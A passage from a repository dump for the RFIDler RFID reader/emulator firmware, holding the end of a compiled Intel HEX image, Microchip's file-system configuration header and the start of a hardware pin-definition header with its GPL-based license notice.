0bfaf2c00a2272c00a7af85\n:1063540021384000ab56410f1000a2af1c00bf8f84\n:086364000800e0032000bd2742\n:020000040000fa\n:020000041d05d8\n:10636c00e0ffbd271c00bfaf2c00a2272c00a7af5d\n:10637c0021384000c256410f1000a2af1c00bf8f45\n:08638c000800e0032000bd271a\n:020000040000fa\n:020000041d05d8\n:10639400e8ffbd271400bfaf0139410f0000000022\n:1063a400212040002b50410f212860001400bf8f92\n:0863b4000800e0031800bd27fa\n:020000040000fa\n:020000041d05d8\n:1063bc00059d023ca13c4224211082000000429029\n:1063cc0020008324010042300b2062000800e0030f\n:0463dc00211080000c\n:020000040000fa\n:020000041d05d8\n:1063e000059d023ca13c4224211082000000429005\n:1063f000e0ff8324020042300b2062000800e0032b\n:0464000021108000e7\n:020000040000fa\n:020000041d05d8\n:1064040044656275672070696e2025643a20000037\n:106414004f4646004f4e000025730d0a0000000051\n:106424000d0a50756c73653a202564200000000045\n:106434004761703a20256400257300000d0a0000ae\n:020000040000fa\n:020000041d05d8\n:1064440080bf033c105e628c01004230fdff4010af\n:1064540080bf023c205e428c0800e0030000000084\n:020000040000fa\n:020000041d05d8\n:106464000d0a436c6f636b206465746563746564c3\n:0c6474003a20256c6420487a0d0a0000d4\n:020000040000fa\n:020000041d05d8\n:106480000100843003008014000000000800e003d5\n:0c649000006060410800e00320606041f3\n:020000040000fa\n:020000041d05d8\n:10649c0000a0023cc87244accc7240ac0100032496\n:0c64ac0000a0023c0800e003d07243a0f6\n:020000040000fa\n:020000041d05d8\n:1064b800e8ffbd271400bfaf0139410f00000000fd\n:0c64c8001400bf8f0800e0031800bd277f\n:020000040000fa\n:020000041d05d8\n:1064d400e8ffbd271400bfafbd3c410f0000000022\n:0c64e4001400bf8f0800e0031800bd2763\n:020000040000fa\n:020000041d05d8\n:1064f000e8ffbd271400bfafbd3c410f0000000006\n:0c6500001400bf8f0800e0031800bd2746\n:020000040000fa\n:020000041d05d8\n:10650c000080013c2628a100251004002518050058\n:0c651c000800e003000000000000000088\n:020000040000fa\n:020000041d05d8\n:106528002530325800000000253032580d0a00008e\n:08653800257300000d0a0000ac\n:020000040000fa\n:020000041d05d8\n:1065400000800340f8ff022424106200020042345d\n:086550000800e0030080824016\n:020000040000fa\n:020000041d05d8\n:1065580000800340f8ff0224241062000300423444\n:086568000800e00300808240fe\n:020000040000fa\n:020000041d05d8\n:1065700000601a40bfff1b3cffff7b3724d05b034a\n:0865800000609a40180000427f\n:020000040000fa\n:020000041d05d8\n:10658800059d023ca13c4224212044000000829049\n:086598000800e0030700423097\n:020000040000fa\n:020000041d05d8\n:1065a000059d023ca13c4224212044000000829031\n:0865b0000800e0030300423083\n:020000040000fa\n:020000041d05d8\n:1065b800059d023ca13c4224212044000000829019\n:0865c8000800e003200042304e\n:020000040000fa\n:020000041d05d8\n:1065d000059d023ca13c4224212044000000829001\n:0865e0000800e0030400423052\n:020000040000fa\n:020000041d05d8\n:1065e800059d023ca13c42242120440000008290e9\n:0865f8000800e0031700423027\n:020000040000fa\n:020000041d05d8\n:10660000059d023ca13c42242120440000008290d0\n:086610000800e0030200423023\n:020000040000fa\n:020000041d05d8\n:10661800059d023ca13c42242120440000008280c8\n:086628000800e0039700423076\n:020000040000fa\n:020000041d05d8\n:10663000059d023ca13c42242120440000008290a0\n:086640000800e00310004230e5\n:020000040000fa\n:020000041d05d8\n:10664800059d023ca13c4224212044000000828098\n:086658000800e0038800423055\n:020000040000fa\n:020000041d05d8\n:10666000059d023ca13c4224212044000000829070\n:086670000800e00301004230c4\n:020000040000fa\n:020000041d05d8\n:10667800059d023ca13c4224212044000000829058\n:086688000800e0034400423069\n:020000040000fa\n:020000041d05d8\n:106690000000a0400000c84100401c4420bcbe488f\n:1066a000ca1b0e52aec59d6400000000005e80bf94\n:0c66b000005a80bf005880bf005c80bf13\n:020000040000fa\n:020000041d05d8\n:1066bc000080013c261081000800e003000000006f\n:0466cc0000000000ca\n:020000040000fa\n:020000041d05d8\n:1066d000d7237fce8cd037a95749c1e648008ab668\n:1066e0002530347500000000253031326c6c7500a7\n:1066f0002530347500000000253031326c6c750097\n:0c6700002e002e00000000002e2e0000d5\n:020000040000fa\n:020000041d05d8\n:08670c000800e0032060624177\n:020000040000fa\n:020000041d05d8\n:086714000800e003006062418f\n:020000040000fa\n:020000041d05d8\n:08671c000800e003000000008a\n:020000040000fa\n:020000041d05d8\n:086724000800e0030000000082\n:020000040000fa\n:020000041d05d8\n:08672c000800e0038000822c4c\n:020000040000fa\n:020000041d05d8\n:086734000800e0037f00823041\n:020000040000fa\n:020000041d05d8\n:08673c000800e00320008224a4\n:020000040000fa\n:020000041d05d8\n:086744000800e003e0ff8224dd\n:00000001FF\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/FSconfig.h",
    "content": "/******************************************************************************\n *\n *                Microchip Memory Disk Drive File System\n *\n ******************************************************************************\n * FileName:        FSconfig.h\n * Processor:       PIC18/PIC24/dsPIC30/dsPIC33/PIC32\n * Dependencies:    None\n * Compiler:        C18/C30/C32\n * Company:         Microchip Technology, Inc.\n * Version:         1.3.0\n *\n * Software License Agreement\n *\n * The software supplied herewith by Microchip Technology Incorporated\n * (the Company) for its PICmicro Microcontroller is intended and\n * supplied to you, the Companys customer, for use solely and\n * exclusively on Microchip PICmicro Microcontroller products. The\n * software is owned by the Company and/or its supplier, and is\n * protected under applicable copyright laws. All rights are reserved.\n * Any use in violation of the foregoing restrictions may subject the\n * user to criminal sanctions under applicable laws, as well as to\n * civil liability for the breach of the terms and conditions of this\n * license.\n *\n * THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,\n * WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED\n * TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n * PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,\n * IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR\n * CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.\n *\n*****************************************************************************/\n\n\n#ifndef _FS_DEF_\n\n#include \"Compiler.h\"\n#include \"HardwareProfile.h\"\n\n// Summary: A macro indicating whether Long File Name is supported\r\n// Description: If this macro is disabled then only 8.3 format file name is enabled.\r\n//              If this macro is enabled then long file names upto 256 characters are\r\n//              supported.\r\n#define\tSUPPORT_LFN\r\n\n// Summary: A macro indicating the maximum number of concurrently open files\n// Description: The FS_MAX_FILES_OPEN #define is only applicable when dynamic memory allocation is not used (FS_DYNAMIC_MEM is not defined).\n//              This macro defines the maximum number of open files at any given time.  The amount of RAM used by FSFILE objects will\n//              be equal to the size of an FSFILE object multipled by this macro value.  This value should be kept as small as possible\n//              as dictated by the application.  This will reduce memory usage.\n#define FS_MAX_FILES_OPEN \t3\n\n\n// Summary: A macro defining the size of a sector\n// Description: The MEDIA_SECTOR_SIZE macro will define the size of a sector on the FAT file system.  This value must equal 512 bytes,\n//              1024 bytes, 2048 bytes, or 4096 bytes.  The value of a sector will usually be 512 bytes.\n#define MEDIA_SECTOR_SIZE \t\t512\n\n\n\n/* *******************************************************************************************************/\n/************** Compiler options to enable/Disable Features based on user's application ******************/\n/* *******************************************************************************************************/\n\n\n// Summary: A macro to enable/disable file search functions.\n// Description: The ALLOW_FILESEARCH definition can be commented out to disable file search functions in the library.  This will\n//              prevent the use of the FindFirst and FindNext functions and reduce code size.\n#define ALLOW_FILESEARCH\n\n// Summary: A macro to enable/disable write functionality\n// Description: The ALLOW_WRITES definition can be commented out to disable all operations that write to the device.  This will\n//              greatly reduce code size.\n#define ALLOW_WRITES\n\n\n// Summary: A macro to enable/disable format functionality\n// Description: The ALLOW_FORMATS definition can be commented out to disable formatting functionality.  This will prevent the use of\n//              the FSformat function.  If formats are enabled, write operations must also be enabled by uncommenting ALLOW_WRITES.\n#define ALLOW_FORMATS\n\n// Summary: A macro to enable/disable directory operations.\n// Description: The ALLOW_DIRS definition can be commented out to disable all directory functionality.  This will reduce code size.\n//              If directories are enabled, write operations must also be enabled by uncommenting ALLOW_WRITES in order to use\n//              the FSmkdir or FSrmdir functions.\n#define ALLOW_DIRS\n\n// Summary: A macro to enable/disable PIC18 ROM functions.\n// Description: The ALLOW_PGMFUNCTIONS definition can be commented out to disable all PIC18 functions that allow the user to pass string\n//              arguments in ROM (denoted by the suffix -pgm).  Note that this functionality must be disabled when not using PIC18.\n//#define ALLOW_PGMFUNCTIONS\n\n// Summary: A macro to enable/disable the FSfprintf function.\n// Description: The ALLOW_FSFPRINTF definition can be commented out to disable the FSfprintf function.  This will save code space.  Note that\n//              if FSfprintf is enabled and the PIC18 architecture is used, integer promotions must be enabled in the Project->Build Options\n//              menu.  Write operations must be enabled to use FSfprintf.\n//#define ALLOW_FSFPRINTF\n\n// Summary: A macro to enable/disable FAT32 support.\n// Description: The SUPPORT_FAT32 definition can be commented out to disable support for FAT32 functionality.  This will save a small amount\n//              of code space.\n#define SUPPORT_FAT32\n\n\n\n/**************************************************************************************************/\n// Select a method for updating file timestamps\n/**************************************************************************************************/\n\n// Summary: A macro to enable RTCC based timestamp generation\n// Description: The USEREALTIMECLOCK macro will configure the code to automatically\n//              generate timestamp information for files from the RTCC module. The user\n//              must enable and configure the RTCC module before creating or modifying\n//              files.                                                                 \n#define USEREALTIMECLOCK\n\n// Summary: A macro to enable manual timestamp generation\n// Description: The USERDEFINEDCLOCK macro will allow the user to manually set\n//              timestamp information using the SetClockVars function. The user will\n//              need to set the time variables immediately before creating or closing a\n//              file or directory.                                                    \n//#define USERDEFINEDCLOCK\n\n// Summary: A macro to enable don't-care timestamp generation\n// Description: The INCREMENTTIMESTAMP macro will set the create time of a file to a\n//              static value and increment it when a file is updated. This timestamp\n//              generation method should only be used in applications where file times\n//              are not necessary.                                                    \n//#define INCREMENTTIMESTAMP\n\n\n#ifdef __18CXX\n\t#ifdef USEREALTIMECLOCK\n\t\t#error The PIC18 architecture does not have a Real-time clock and calander module\n\t#endif\n#endif\n\n#ifdef ALLOW_PGMFUNCTIONS\n\t#ifndef __18CXX\n\t\t#error The pgm functions are unneccessary when not using PIC18\n\t#endif\n#endif\n\n#ifndef USEREALTIMECLOCK\n    #ifndef USERDEFINEDCLOCK\n        #ifndef INCREMENTTIMESTAMP\n            #error Please enable USEREALTIMECLOCK, USERDEFINEDCLOCK, or INCREMENTTIMESTAMP\n        #endif\n    #endif\n#endif\n\n/************************************************************************/\n// Set this preprocessor option to '1' to use dynamic FSFILE object allocation.  It will\n// be necessary to allocate a heap when dynamically allocating FSFILE objects.\n// Set this option to '0' to use static FSFILE object allocation.\n/************************************************************************/\n\n#if 0\n    // Summary: A macro indicating that FSFILE objects will be allocated dynamically\n    // Description: The FS_DYNAMIC_MEM macro will cause FSFILE objects to be allocated from a dynamic heap.  If it is undefined,\n    //              the file objects will be allocated using a static array.\n\t#define FS_DYNAMIC_MEM\n\t#ifdef __18CXX\n        // Description: Function pointer to a dynamic memory allocation function\n\t\t#define FS_malloc\tSRAMalloc\n        // Description: Function pointer to a dynamic memory free function\n\t\t#define FS_free\t\tSRAMfree\n\t#else\n\t\t#define FS_malloc\tmalloc\n\t\t#define FS_free\t\tfree\n\t#endif\n#endif\n\n\n// Function definitions\n// Associate the physical layer functions with the correct physical layer\n#ifdef USE_SD_INTERFACE_WITH_SPI       // SD-SPI.c and .h\n\n    // Description: Function pointer to the Media Initialize Physical Layer function\n    #define MDD_MediaInitialize     MDD_SDSPI_MediaInitialize\n\n    // Description: Function pointer to the Media Detect Physical Layer function\n    #define MDD_MediaDetect         MDD_SDSPI_MediaDetect\n\n    // Description: Function pointer to the Sector Read Physical Layer function\n    #define MDD_SectorRead          MDD_SDSPI_SectorRead\n\n    // Description: Function pointer to the Sector Write Physical Layer function\n    #define MDD_SectorWrite         MDD_SDSPI_SectorWrite\n\n    // Description: Function pointer to the I/O Initialization Physical Layer function\n    #define MDD_InitIO              MDD_SDSPI_InitIO\n\n    // Description: Function pointer to the Media Shutdown Physical Layer function\n    #define MDD_ShutdownMedia       MDD_SDSPI_ShutdownMedia\n\n    // Description: Function pointer to the Write Protect Check Physical Layer function\n    #define MDD_WriteProtectState   MDD_SDSPI_WriteProtectState\n\n    // Description: Function pointer to the Read Capacity Physical Layer function\n    #define MDD_ReadCapacity        MDD_SDSPI_ReadCapacity\n\n    // Description: Function pointer to the Read Sector Size Physical Layer Function\n    #define MDD_ReadSectorSize      MDD_SDSPI_ReadSectorSize\n\n#elif defined USE_CF_INTERFACE_WITH_PMP       // CF-PMP.c and .h\n\n    // Description: Function pointer to the Media Initialize Physical Layer function\n    #define MDD_MediaInitialize     MDD_CFPMP_MediaInitialize\n\n    // Description: Function pointer to the Media Detect Physical Layer function\n    #define MDD_MediaDetect         MDD_CFPMP_MediaDetect\n\n    // Description: Function pointer to the Sector Read Physical Layer function\n    #define MDD_SectorRead          MDD_CFPMP_SectorRead\n\n    // Description: Function pointer to the Sector Write Physical Layer function\n    #define MDD_SectorWrite         MDD_CFPMP_SectorWrite\n\n    // Description: Function pointer to the I/O Initialization Physical Layer function\n    #define MDD_InitIO              MDD_CFPMP_InitIO\n\n    // Description: Function pointer to the Media Shutdown Physical Layer function\n    #define MDD_ShutdownMedia       MDD_CFPMP_ShutdownMedia\n\n    // Description: Function pointer to the Write Protect Check Physical Layer function\n    #define MDD_WriteProtectState   MDD_CFPMP_WriteProtectState\n\n    // Description: Function pointer to the CompactFlash Wait Physical Layer function\n    #define MDD_CFwait              MDD_CFPMP_CFwait\n\n    // Description: Function pointer to the CompactFlash Write Physical Layer function\n    #define MDD_CFwrite             MDD_CFPMP_CFwrite\n\n    // Description: Function pointer to the CompactFlash Read Physical Layer function\n    #define MDD_CFread              MDD_CFPMP_CFread\n\n#elif defined USE_MANUAL_CF_INTERFACE         // CF-Bit transaction.c and .h\n\n    // Description: Function pointer to the Media Initialize Physical Layer function\n    #define MDD_MediaInitialize     MDD_CFBT_MediaInitialize\n\n    // Description: Function pointer to the Media Detect Physical Layer function\n    #define MDD_MediaDetect         MDD_CFBT_MediaDetect\n\n    // Description: Function pointer to the Sector Read Physical Layer function\n    #define MDD_SectorRead          MDD_CFBT_SectorRead\n\n    // Description: Function pointer to the Sector Write Physical Layer function\n    #define MDD_SectorWrite         MDD_CFBT_SectorWrite\n\n    // Description: Function pointer to the I/O Initialization Physical Layer function\n    #define MDD_InitIO              MDD_CFBT_InitIO\n\n    // Description: Function pointer to the Media Shutdown Physical Layer function\n    #define MDD_ShutdownMedia       MDD_CFBT_ShutdownMedia\n\n    // Description: Function pointer to the Write Protect Check Physical Layer function\n    #define MDD_WriteProtectState   MDD_CFBT_WriteProtectState\n\n    // Description: Function pointer to the CompactFlash Wait Physical Layer function\n    #define MDD_CFwait              MDD_CFBT_CFwait\n\n    // Description: Function pointer to the CompactFlash Write Physical Layer function\n    #define MDD_CFwrite             MDD_CFBT_CFwrite\n\n    // Description: Function pointer to the CompactFlash Read Physical Layer function\n    #define MDD_CFread              MDD_CFBT_CFread\n\n#elif defined USE_USB_INTERFACE               // USB host MSD library\n\n    // Description: Function pointer to the Media Initialize Physical Layer function\n    #define MDD_MediaInitialize     USBHostMSDSCSIMediaInitialize\n\n    // Description: Function pointer to the Media Detect Physical Layer function\n    #define MDD_MediaDetect         USBHostMSDSCSIMediaDetect\n\n    // Description: Function pointer to the Sector Read Physical Layer function\n    #define MDD_SectorRead          USBHostMSDSCSISectorRead\n\n    // Description: Function pointer to the Sector Write Physical Layer function\n    #define MDD_SectorWrite         USBHostMSDSCSISectorWrite\n\n    // Description: Function pointer to the I/O Initialization Physical Layer function\n    #define MDD_InitIO();              \n\n    // Description: Function pointer to the Media Shutdown Physical Layer function\n    #define MDD_ShutdownMedia       USBHostMSDSCSIMediaReset\n\n    // Description: Function pointer to the Write Protect Check Physical Layer function\n    #define MDD_WriteProtectState   USBHostMSDSCSIWriteProtectState\n\n#endif\n\n#endif\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/include/HardwareProfile.h",
    "content": "/***************************************************************************\r\n * A copy of the GNU GPL is appended to this file.                         *\r\n *                                                                         *\r\n * This licence is based on the nmap licence, and we express our gratitude *\r\n * for the work that went into producing it. There is no other connection  *\r\n * between RFIDler and nmap either expressed or implied.                   *\r\n *                                                                         *\r\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\r\n *                                                                         *\r\n *                                                                         *\r\n * All references to RFIDler herein imply all it's derivatives, namely:    *\r\n *                                                                         *\r\n * o RFIDler-LF Standard                                                   *\r\n * o RFIDler-LF Lite                                                       *\r\n * o RFIDler-LF Nekkid                                                     *\r\n *                                                                         *\r\n *                                                                         *\r\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\r\n *                                                                         *\r\n * This program is free software; you may redistribute and/or modify it    *\r\n * under the terms of the GNU General Public License as published by the   *\r\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\r\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\r\n * right to use, modify, and redistribute this software under certain      *\r\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\r\n * software or hardware, we sell alternative licenses                      *\r\n * (contact sales@aperturelabs.com).                                       *\r\n *                                                                         *\r\n * Note that the GPL places important restrictions on \"derivative works\",  *\r\n * yet it does not provide a detailed definition of that term.  To avoid   *\r\n * misunderstandings, we interpret that term as broadly as copyright law   *\r\n * allows.  For example, we consider an application to constitute a        *\r\n * derivative work for the purpose of this license if it does any of the   *\r\n * following with any software or content covered by this license          *\r\n * (\"Covered Software\"):                                                   *\r\n *                                                                         *\r\n * o Integrates source code from Covered Software.                         *\r\n *                                                                         *\r\n * o Is designed specifically to execute Covered Software and parse the    *\r\n * results (as opposed to typical shell or execution-menu apps, which will *\r\n * execute anything you tell them to).                                     *\r\n *                                                                         *\r\n * o Includes Covered Software in a proprietary executable installer.  The *\r\n * installers produced by InstallShield are an example of this.  Including *\r\n * RFIDler with other software in compressed or archival form does not     *\r\n * trigger this provision, provided appropriate open source decompression  *\r\n * or de-archiving software is widely available for no charge.  For the    *\r\n * purposes of this license, an installer is considered to include Covered *\r\n * Software even if it actually retrieves a copy of Covered Software from  *\r\n * another source during runtime (such as by downloading it from the       *\r\n * Internet).                                                              *\r\n *                                                                         *\r\n * o Links (statically or dynamically) to a library which does any of the  *\r\n * above.                                                                  *\r\n *                                                                         *\r\n * o Executes a helper program, module, or script to do any of the above.  *\r\n *                                                                         *\r\n * This list is not exclusive, but is meant to clarify our interpretation  *\r\n * of derived works with some common examples.  Other people may interpret *\r\n * the plain GPL differently, so we consider this a special exception to   *\r\n * the GPL that we apply to Covered Software.  Works which meet any of     *\r\n * these conditions must conform to all of the terms of this license,      *\r\n * particularly including the GPL Section 3 requirements of providing      *\r\n * source code and allowing free redistribution of the work as a whole.    *\r\n *                                                                         *\r\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\r\n * permission to link the code of this program with any version of the     *\r\n * OpenSSL library which is distributed under a license identical to that  *\r\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\r\n * linked combinations including the two.                                  *\r\n *                                                                         *\r\n * Any redistribution of Covered Software, including any derived works,    *\r\n * must obey and carry forward all of the terms of this license, including *\r\n * obeying all GPL rules and restrictions.  For example, source code of    *\r\n * the whole work must be provided and free redistribution must be         *\r\n * allowed.  All GPL references to \"this License\", are to be treated as    *\r\n * including the terms and conditions of this license text as well.        *\r\n *                                                                         *\r\n * Because this license imposes special exceptions to the GPL, Covered     *\r\n * Work may not be combined (even as part of a larger work) with plain GPL *\r\n * software.  The terms, conditions, and exceptions of this license must   *\r\n * be included as well.  This license is incompatible with some other open *\r\n * source licenses as well.  In some cases we can relicense portions of    *\r\n * RFIDler or grant special permissions to use it in other open source     *\r\n * software.  Please contact sales@aperturelabs.com with any such requests.*\r\n * Similarly, we don't incorporate incompatible open source software into  *\r\n * Covered Software without special permission from the copyright holders. *\r\n *                                                                         *\r\n * If you have any questions about the licensing restrictions on using     *\r\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\r\n * offer alternative license to integrate RFIDler into proprietary         *\r\n * applications and appliances.  These contracts have been sold to dozens  *\r\n * of software vendors, and generally include a perpetual license as well  *\r\n * as providing for priority support and updates.  They also fund the      *\r\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\r\n * for further information.                                                *\r\n * If you have received a written license agreement or contract for        *\r\n * Covered Software stating terms other than these, you may choose to use  *\r\n * and redistribute Covered Software under those terms instead of these.   *\r\n *                                                                         *\r\n * Source is provided to this software because we believe users have a     *\r\n * right to know exactly what a program is going to do before they run it. *\r\n * This also allows you to audit the software for security holes (none     *\r\n * have been found so far).                                                *\r\n *                                                                         *\r\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\r\n * and add new features.  You are highly encouraged to send your changes   *\r\n * to the RFIDler mailing list for possible incorporation into the         *\r\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\r\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\r\n * them into the RFIDler source code repository, it is understood (unless  *\r\n * you specify otherwise) that you are offering the RFIDler Project        *\r\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\r\n * modify, and relicense the code.  RFIDler will always be available Open  *\r\n * Source, but this is important because the inability to relicense code   *\r\n * has caused devastating problems for other Free Software projects (such  *\r\n * as KDE and NASM).  We also occasionally relicense the code to third     *\r\n * parties as discussed above. If you wish to specify special license      *\r\n * conditions of your contributions, just say so when you send them.       *\r\n *                                                                         *\r\n * This program is distributed in the hope that it will be useful, but     *\r\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\r\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\r\n * license file for more details (it's in a COPYING file included with     *\r\n * RFIDler, and also available from                                        *\r\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\r\n *                                                                         *\r\n ***************************************************************************/\r\n\r\n// Author: Adam Laurie <adam@aperturelabs.com>\r\n\r\n\r\n\r\n#ifndef HARDWARE_PROFILE_UBW32_H\r\n#define HARDWARE_PROFILE_UBW32_H\r\n\r\n#include \"plib.h\"\r\n\r\n\r\n#ifndef __PIC32MX__\r\n    #define __PIC32MX__\r\n#endif\r\n  \r\n#define GetSystemClock()            (80000000ul)\r\n#define GetPeripheralClock()        (GetSystemClock()) \r\n#define GetInstructionClock()       (GetSystemClock())\r\n\r\n//#define USE_SELF_POWER_SENSE_IO\r\n#define tris_self_power     TRISAbits.TRISA2    // Input\r\n#define self_power          1\r\n\r\n//#define USE_USB_BUS_SENSE_IO\r\n#define tris_usb_bus_sense  TRISBbits.TRISB5    // Input\r\n#define USB_BUS_SENSE       1\r\n\r\n// LEDs\r\n#define mLED_1              LATEbits.LATE3\r\n\r\n#define mLED_2              LATEbits.LATE2\r\n#define mLED_Comms          mLED_2\r\n\r\n#define mLED_3              LATEbits.LATE1\r\n#define mLED_Clock          mLED_3\r\n\r\n#define mLED_4              LATEbits.LATE0\r\n#define mLED_Emulate        mLED_4\r\n\r\n#define mLED_5              LATGbits.LATG6\r\n#define mLED_Read           mLED_5\r\n\r\n#define mLED_6              LATAbits.LATA15\r\n#define mLED_User           mLED_6\r\n\r\n#define mLED_7              LATDbits.LATD11\r\n#define mLED_Error          mLED_7\r\n\r\n// active low\r\n#define mLED_ON             0\r\n#define mLED_OFF            1\r\n\r\n#define mGetLED_1()         mLED_1\r\n#define mGetLED_USB()       mLED_1\r\n#define mGetLED_2()         mLED_2\r\n#define mGetLED_Comms()     mLED_2\r\n#define mGetLED_3()         mLED_3\r\n#define mGetLED_Clock()     mLED_3\r\n#define mGetLED_4()         mLED_4\r\n#define mGetLED_Emulate()   mLED_4\r\n#define mGetLED_5()         mLED_5\r\n#define mGetLED_Read()      mLED_5\r\n#define mGetLED_6()         mLED_6\r\n#define mGetLED_User()      mLED_6\r\n#define mGetLED_7()         mLED_7\r\n#define mGetLED_Error()     mLED_7\r\n\r\n#define mLED_1_On()         mLED_1 = mLED_ON\r\n#define mLED_USB_On()       mLED_1_On()\r\n#define mLED_2_On()         mLED_2 = mLED_ON\r\n#define mLED_Comms_On()     mLED_2_On()\r\n#define mLED_3_On()         mLED_3 = mLED_ON\r\n#define mLED_Clock_On()     mLED_3_On()\r\n#define mLED_4_On()         mLED_4 = mLED_ON\r\n#define mLED_Emulate_On()   mLED_4_On()\r\n#define mLED_5_On()         mLED_5 = mLED_ON\r\n#define mLED_Read_On()      mLED_5_On()\r\n#define mLED_6_On()         mLED_6 = mLED_ON\r\n#define mLED_User_On()      mLED_6_On()\r\n#define mLED_7_On()         mLED_7 = mLED_ON\r\n#define mLED_Error_On()     mLED_7_On()\r\n\r\n#define mLED_1_Off()        mLED_1 = mLED_OFF\r\n#define mLED_USB_Off()      mLED_1_Off()\r\n#define mLED_2_Off()        mLED_2 = mLED_OFF\r\n#define mLED_Comms_Off()    mLED_2_Off()\r\n#define mLED_3_Off()        mLED_3 = mLED_OFF\r\n#define mLED_Clock_Off()    mLED_3_Off()\r\n#define mLED_4_Off()        mLED_4 = mLED_OFF\r\n#define mLED_Emulate_Off()  mLED_4_Off()\r\n#define mLED_5_Off()        mLED_5 = mLED_OFF\r\n#define mLED_Read_Off()     mLED_5_Off()\r\n#define mLED_6_Off()        mLED_6 = mLED_OFF\r\n#define mLED_User_Off()     mLED_6_Off()\r\n#define mLED_7_Off()        mLED_7 = mLED_OFF\r\n#define mLED_Error_Off()    mLED_7_Off()\r\n\r\n#define mLED_1_Toggle()        mLED_1 = !mLED_1\r\n#define mLED_USB_Toggle()      mLED_1_Toggle()\r\n#define mLED_2_Toggle()        mLED_2 = !mLED_2\r\n#define mLED_Comms_Toggle()    mLED_2_Toggle()\r\n#define mLED_3_Toggle()        mLED_3 = !mLED_3\r\n#define mLED_Clock_Toggle()    mLED_3_Toggle()\r\n#define mLED_4_Toggle()        mLED_4 = !mLED_4\r\n#define mLED_Emulate_Toggle()  mLED_4_Toggle()\r\n#define mLED_5_Toggle()        mLED_5 = !mLED_5\r\n#define mLED_Read_Toggle(   )  mLED_5_Toggle()\r\n#define mLED_6_Toggle()        mLED_6 = !mLED_6\r\n#define mLED_User_Toggle()     mLED_6_Toggle()\r\n#define mLED_7_Toggle()        mLED_7 = !mLED_7\r\n#define mLED_Error_Toggle()    mLED_7_Toggle()\r\n\r\n#define mLED_All_On()       { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On();  mLED_6_On(); mLED_7_On(); }\r\n#define mLED_All_Off()      { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }\r\n\r\n// usb status lights\r\n#define mLED_Both_Off()         {mLED_USB_Off();mLED_Comms_Off();}\r\n#define mLED_Both_On()          {mLED_USB_On();mLED_Comms_On();}\r\n#define mLED_Only_USB_On()      {mLED_USB_On();mLED_Comms_Off();}\r\n#define mLED_Only_Comms_On()    {mLED_USB_Off();mLED_Comms_On();}\r\n\r\n/** SWITCH *********************************************************/\r\n#define swBootloader        PORTEbits.RE7\r\n#define swUser              PORTEbits.RE6\r\n\r\n/** I/O pin definitions ********************************************/\r\n#define INPUT_PIN                   1\r\n#define OUTPUT_PIN                  0\r\n\r\n#define TRUE                        1\r\n#define FALSE                       0\r\n\r\n#define ENABLE                      1\r\n#define DISABE                      0\r\n\r\n#define EVEN                        0\r\n#define ODD                         1\r\n\r\n#define LOW                         FALSE\r\n#define HIGH                        TRUE\r\n\r\n#define CLOCK_ON                    LOW\r\n#define CLOCK_OFF                   HIGH\r\n\r\n// output coil control - select between reader/emulator circuits\r\n#define COIL_MODE                  LATBbits.LATB4\r\n#define COIL_MODE_READER()         COIL_MODE= LOW\r\n#define COIL_MODE_EMULATOR()       COIL_MODE= HIGH\r\n\r\n// coil for emulation\r\n#define COIL_OUT                   LATGbits.LATG9\r\n#define COIL_OUT_HIGH()            COIL_OUT=HIGH\r\n#define COIL_OUT_LOW()             COIL_OUT=LOW\r\n\r\n// door relay (active low)\r\n#define DOOR_RELAY                  LATAbits.LATA14\r\n#define DOOR_RELAY_OPEN()           DOOR_RELAY= HIGH\r\n#define DOOR_RELAY_CLOSE()          DOOR_RELAY= LOW\r\n\r\n// inductance/capacitance freq\r\n#define IC_FREQUENCY               PORTAbits.RA2\r\n\r\n#define SNIFFER_COIL               PORTDbits.RD12    // external reader clock detect\r\n#define READER_ANALOGUE            PORTBbits.RB11   // reader coil analogue\r\n#define DIV_LOW_ANALOGUE           PORTBbits.RB12   // voltage divider LOW analogue\r\n#define DIV_HIGH_ANALOGUE          PORTBbits.RB13   // voltage divider HIGH analogue\r\n\r\n// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)\r\n#define CLOCK_COIL                 PORTDbits.RD4\r\n#define CLOCK_COIL_MOVED           PORTDbits.RD0 // temporary for greenwire\r\n\r\n// digital output after analogue reader circuit\r\n#define READER_DATA                PORTDbits.RD8\r\n\r\n// trace / debug\r\n#define DEBUG_PIN_1                 LATCbits.LATC1\r\n#define DEBUG_PIN_1_TOGGLE()        DEBUG_PIN_1= !DEBUG_PIN_1\r\n#define DEBUG_PIN_2                 LATCbits.LATC2\r\n#define DEBUG_PIN_2_TOGGLE()        DEBUG_PIN_2= !DEBUG_PIN_2\r\n#define DEBUG_PIN_3                 LATCbits.LATC3\r\n#define DEBUG_PIN_3_TOGGLE()        DEBUG_PIN_3= !DEBUG_PIN_3\r\n#define DEBUG_PIN_4                 LATEbits.LATE5\r\n#define 